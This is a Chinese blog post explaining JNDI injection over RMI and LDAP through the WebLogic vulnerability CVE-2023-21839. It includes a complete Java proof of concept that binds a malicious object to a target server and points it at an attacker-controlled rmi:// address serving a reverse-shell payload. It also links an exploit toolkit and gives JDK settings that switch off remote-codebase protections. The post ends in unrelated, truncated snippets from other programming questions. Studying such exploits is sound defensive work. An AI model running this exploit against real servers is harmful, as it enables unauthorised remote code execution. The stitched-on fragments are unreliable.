- VisualStudio2022插件的安装及使用-编程手把手系列文章
- pprof-在现网场景怎么用
- C#实现的下拉多选框,下拉多选树,多级节点
- 【学习笔记】基础数据结构:猫树
本篇文章初衷是在研究log4j2漏洞时候找不到一篇完整且能够真正让我理解漏洞根因的文章,导致我想写一篇通俗易懂能理解到底啥是JNDI注入,怎么lookup的.
当然不排除国外英文文章有很好的解释,但是我更希望有中文版本.
JNDI (Java Naming and Directory Interface) 。
JNDI注入可以归纳为后台在执行代码的时候,最终会执行到lookup函数,然后lookup函数传入的值是我们在请求或者其他方式能够控制的一个变量,再者lookup支持远程方法调用(RMI)、轻型目录访问协议(LDAP)、域名服务(DNS).
定眼一看RMI、LDAP、DNS,肾上腺素拉满,这仨都可以配合JNDI注入进行(lookup)漏洞利用攻击。 所以这也就是为啥有很多攻击方式为:JNDI+RMI、JNDI+LDAP、JNDI+DNS,最具杀伤力的自然是rmi和ldap协议,能够远程绑定对象执行代码。(这里别蒙圈,知道这俩协议配合JNDI能够远程执行代码即可) 通常测试是否存在JNDI注入漏洞的话可以先用DNS探测一下是否有回显,有的话才好进行下一步的攻击。 还有一个公共对象请求代理体系结构(CORBA) 。
该漏洞为:Weblogic未授权远程代码执行漏洞(CVE-2023-21839) 。
下面的源码分析都围绕23年Weblogic的一个未授权远程代码执行漏洞来解释怎么RMI和LDAP攻击,这也是为啥我不满意网上大部分文章的原因,没有结合一个具体的漏洞去解释这俩协议。 (纯属个人观点,毕竟还是参考了很多大佬文章的,各位道友轻点喷) 。
假如你不理解下面要概括的漏洞原理的话那就也莫慌,你只需要知道最终触发的还是lookup函数即可,上面的解释就是为了你在朋友面前装13的而已,显得你很牛13。
注:!!!补充,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload.
RMI和LDAP的区别其实就是安全限制有最大的不同,两个协议用起来都是需要加载恶意类到本地执行命令。 (区别就是:RMI/LDAP远程对象引用安全限制存在差异) 。
参考文章: https://myzxcg.com/2021/10/Java-JNDI分析与利用/#jndi-目录服务 。
↓↓↓↓↓↓里面有写一段,解决了我的对两个协议的疑惑:↓↓↓↓↓↓ 。
- RMI
在RMI服务中引用远程对象将受本地Java环境限制,本地的java.rmi.server.useCodebaseOnly
配置如果为true(禁止引用远程对象),为false则允许加载远程类文件。
除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象),一样无法调用远程的引用对象。
- JDK5u45、JDK6u45、JDK7u21、JDK8u121开始,
java.rmi.server.useCodebaseOnly
默认值改为了true
。- JDK6u132、JDK7u122、JDK8u113开始
com.sun.jndi.rmi.object.trustURLCodebase
默认值改为了false
。
本地测试远程对象引用可以使用如下方式允许加载远程的引用对象
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
- LDAP
LDAP也在JDK6u211、7u201、8u191、11.0.1后将com.sun.jndi.ldap.object.trustURLCodebase
的默认设置为了false。(但不受java.rmi.server.useCodebaseOnly影响)
如果你看懂了上面的并且觉得够了且已经理解了,那么就无需看下面分析了,因为这里我写的原因就是因为不相信别人说的,我才希望真正看到是不是真的能够进行JNDI注入lookup进行攻击.
Weblogic未授权远程代码执行(CVE-2023-21839)的源码分析,使用RMI攻击。 分析前要记住一点:Weblogic t3/iiop协议支持远程绑定对象bind到服务端 。
巧的是:当远程对象继承自OpaqueReference时,lookup查看远程对象,查询的变量是remoteJNDIName(可通过反射机制控制)。 这里又发现一篇文章写得不错,我参考了一二:https://g1asssy.com/2024/01/31/CVE_2024_20931/ ↓↓↓↓↓↓其中有一段解释的很好↓↓↓↓↓↓ 。
利用步骤大致分为三步
- 建立一个恶意ForeignOpaqueReference对象,并将remoteJNDIName设置为远程恶意JNDI服务。
- 通过T3 \ IIOP协议在WLS上绑定该恶意对象。
通过lookup查询该恶意对象
,触发ForeignOpaqueReference.getReferent的调用,从而造成恶意JNDI注入。
通过lookup查询该恶意对象:这句话意思是你绑定服务器端后能够在poc中自己决定是否拿着这个类去lookup触发,这也就是为啥我选weblogic这个漏洞来解释的原因,他的poc就是你自己来决定绑定后是否进行lookup攻击的,很直接了当告诉你就是lookup触发的,别不信,你自己决定是否lookup攻击。 注:!!!我还要再次补充就是,这个weblogic漏洞是你绑定对象后主动的进行lookup查询,然后让后台触发了你绑定的类然后他又去触发了lookup执行了你的恶意payload.
参考文章:https://xz.aliyun.com/t/12297 下图为:ForeignOpaqueReference的父类OpaqueReference,可以看到里面存在getReferent函数,这个函数跟进去就有触发lookup。 跟进getReferent,你看我框住的就行,你会发现我们只要满足下面两点:
然而以上的条件都可以通过编写脚本用反射机制拿到变量进行修改,说白了就是在lookup查询你绑定好的对象时,就会调用ForeignOpaqueReference.getReferent(),然后就去触发受害端后台的lookup,接着执行你控制好的remoteJNDIName,所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入.
以下是RMI的漏洞攻击POC: 注明:本人没有测试poc是否成功,建议使用集成工具一键搭好攻击环境: https://github.com/ugnoeyh/Log4shell_JNDIExploit 解下介绍poc代码 。
<dependency>
<groupId>weblogic</groupId>
<artifactId>wlfullclient</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>spring</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>logging</artifactId>
<version>0.1</version>
</dependency>
ps:上面加深的这句 "这一步主动lookup是为了受害端去getReferent 然后触发lookup去get你的恶意payload进行实例化造成攻击" ,看不懂可以接下去看lookup触发链。
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.135.129:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
remoteJNDIName.set(f, rmi);
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
OK上面就是weblogic漏洞未授权远程代码执行的一个主要漏洞根因,下面介绍的是知道了进行lookup后,lookup是怎么加载恶意payload的过程。 这里有一个lookup进行实例化对象的调用栈 (从下JNDI_Test的函类开始往上看) 。
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
getObjectInstance:319, NamingManager (javax.naming.spi)
↑↑↑↑↑↑
decodeObject:456, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:120, RegistryContext (com.sun.jndi.rmi.registry)
↑↑↑↑↑↑
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
↑↑↑↑↑↑
lookup:411, InitialContext (javax.naming)
↑↑↑↑↑↑
main:7, JNDI_Test (demo)
再往深了讲getObjectFactoryFromReference就是最终的罪魁祸首。 其他调用过程就不讲了,有感兴趣可以看参考文章:https://xz.aliyun.com/t/12297 接着讲:getObjectFactoryFromReference干了啥,以下是他的源码部分 其中 。
clas = helper.loadClass(factoryName);
尝试从本地加载Factory类clas = helper.loadClass(factoryName, codebase);
从远程加载我们恶意classreturn (clas != null) ? (ObjectFactory) clas.newInstance() : null;
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
至此,历尽千辛万苦,透过一个23年的weblogic漏洞分析JNDI到此结束.
同理RMI,就是有版本的安全配置限制,上面也讲了两个协议的区别,但实质都是通过加载恶意类来攻击的.
身为散修就这么生硬的解释,道友莫怪。 感谢看到这里的道友~ 。
最后此篇关于深入理解JNDI注入—RMI/LDAP攻击的文章就讲到这里了,如果你想了解更多关于深入理解JNDI注入—RMI/LDAP攻击的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
我正在尝试测试依赖于其他服务 authService 的服务 documentViewer angular .module('someModule') .service('docu
如果我的网站上线(不要认为它会,目前它只是一个学习练习)。 我一直在使用 mysql_real_escape_string();来自 POST、SERVER 和 GET 的数据。另外,我一直在使用 i
我有以下代码,它容易受到 SQL 注入(inject)的攻击(我认为?): $IDquery = mysqli_query($connection, "SELECT `ID` FROM users W
我一直在自学如何创建扩展,以期将它们用于 CSS 注入(inject)(以及最终以 CSS 为载体的 SVG 注入(inject),但那是以后的问题)。 这是我当前的代码: list .json {
这个简单的代码应该通过 Java Spring 实现一个简单的工厂。然而结果是空指针,因为 Human 对象没有被注入(inject)对象(所以它保持空)。 我做错了什么? 谢谢 配置 @Config
我正在编写一个 ASP.NET MVC4 应用程序,它最终会动态构建一个 SQL SELECT 语句,以便稍后存储和执行。动态 SQL 的结构由用户配置以用户友好的方式确定,具有标准复选框、下拉列表和
首先让我说我是我为确保 SQL 注入(inject)攻击失败而采取的措施的知己。所有 SQL 查询值都是通过事件记录准备语句完成的,所有运算符(如果不是硬编码)都是通过数字白名单系统完成的。这意味着如
这是 SQL 映射声称可注入(inject)的负载: user=-5305' UNION ALL SELECT NULL,CONCAT(0x716b6b7071,0x4f5577454f76734
我正在使用 Kotlin 和 Android 架构组件(ViewModel、LiveData)构建一个新的 Android 应用程序的架构,并且我还使用 Koin 作为我的依赖注入(inject)提供
假设 RequestScope 处于 Activity 状态(使用 cdi-unit 的 @InRequestScope) 给定 package at.joma.stackoverflow.cdi;
我有一个搜索表单,可以在不同的提供商中搜索。 我从拥有一个基本 Controller 开始 public SearchController : Controller { protected r
SQLite 注入 如果您的站点允许用户通过网页输入,并将输入内容插入到 SQLite 数据库中,这个时候您就面临着一个被称为 SQL 注入的安全问题。本章节将向您讲解如何防止这种情况的发生,确保脚
我可以从什么 dll 中获得 Intercept 的扩展?我从 http://github.com/danielmarbach/ninject.extensions.interception 添加了
使用 NInject 解析具有多个构造函数的类似乎不起作用。 public class Class1 : IClass { public Class1(int param) {...} public
我有一个 MetaManager 类: @Injectable() export class MetaManager{ constructor(private handlers:Handler
我是 Angular 的新手,我不太清楚依赖注入(inject)是如何工作的。我的问题是我有依赖于服务 B 的服务 A,但是当我将服务 A 注入(inject)我的测试服务 B 时,服务 B 变得未定
我正在为我的项目使用 android 应用程序启动、刀柄和空间。我在尝试排队工作时遇到错误: com.test E/WM-WorkerFactory: Could not instantiate co
我不确定这是什么糖语法,但让我向您展示问题所在。 def factors num (1..num).select {|n| num % n == 0} end def mutual_factors
简单的问题,我已经看过这个了:Managing imports in Scalaz7 ,但我不知道如何最小化注入(inject) right和 left方法到我的对象中以构造 \/ 的实例. 我确实尝
在我的 Aurelia SPA 中,我有一些我想在不同模块中使用的功能。它依赖于调用时给出的参数和单例的参数。有没有办法创建一个导出函数,我可以将我的 Auth 单例注入(inject)其中,而不必在
我是一名优秀的程序员,十分优秀!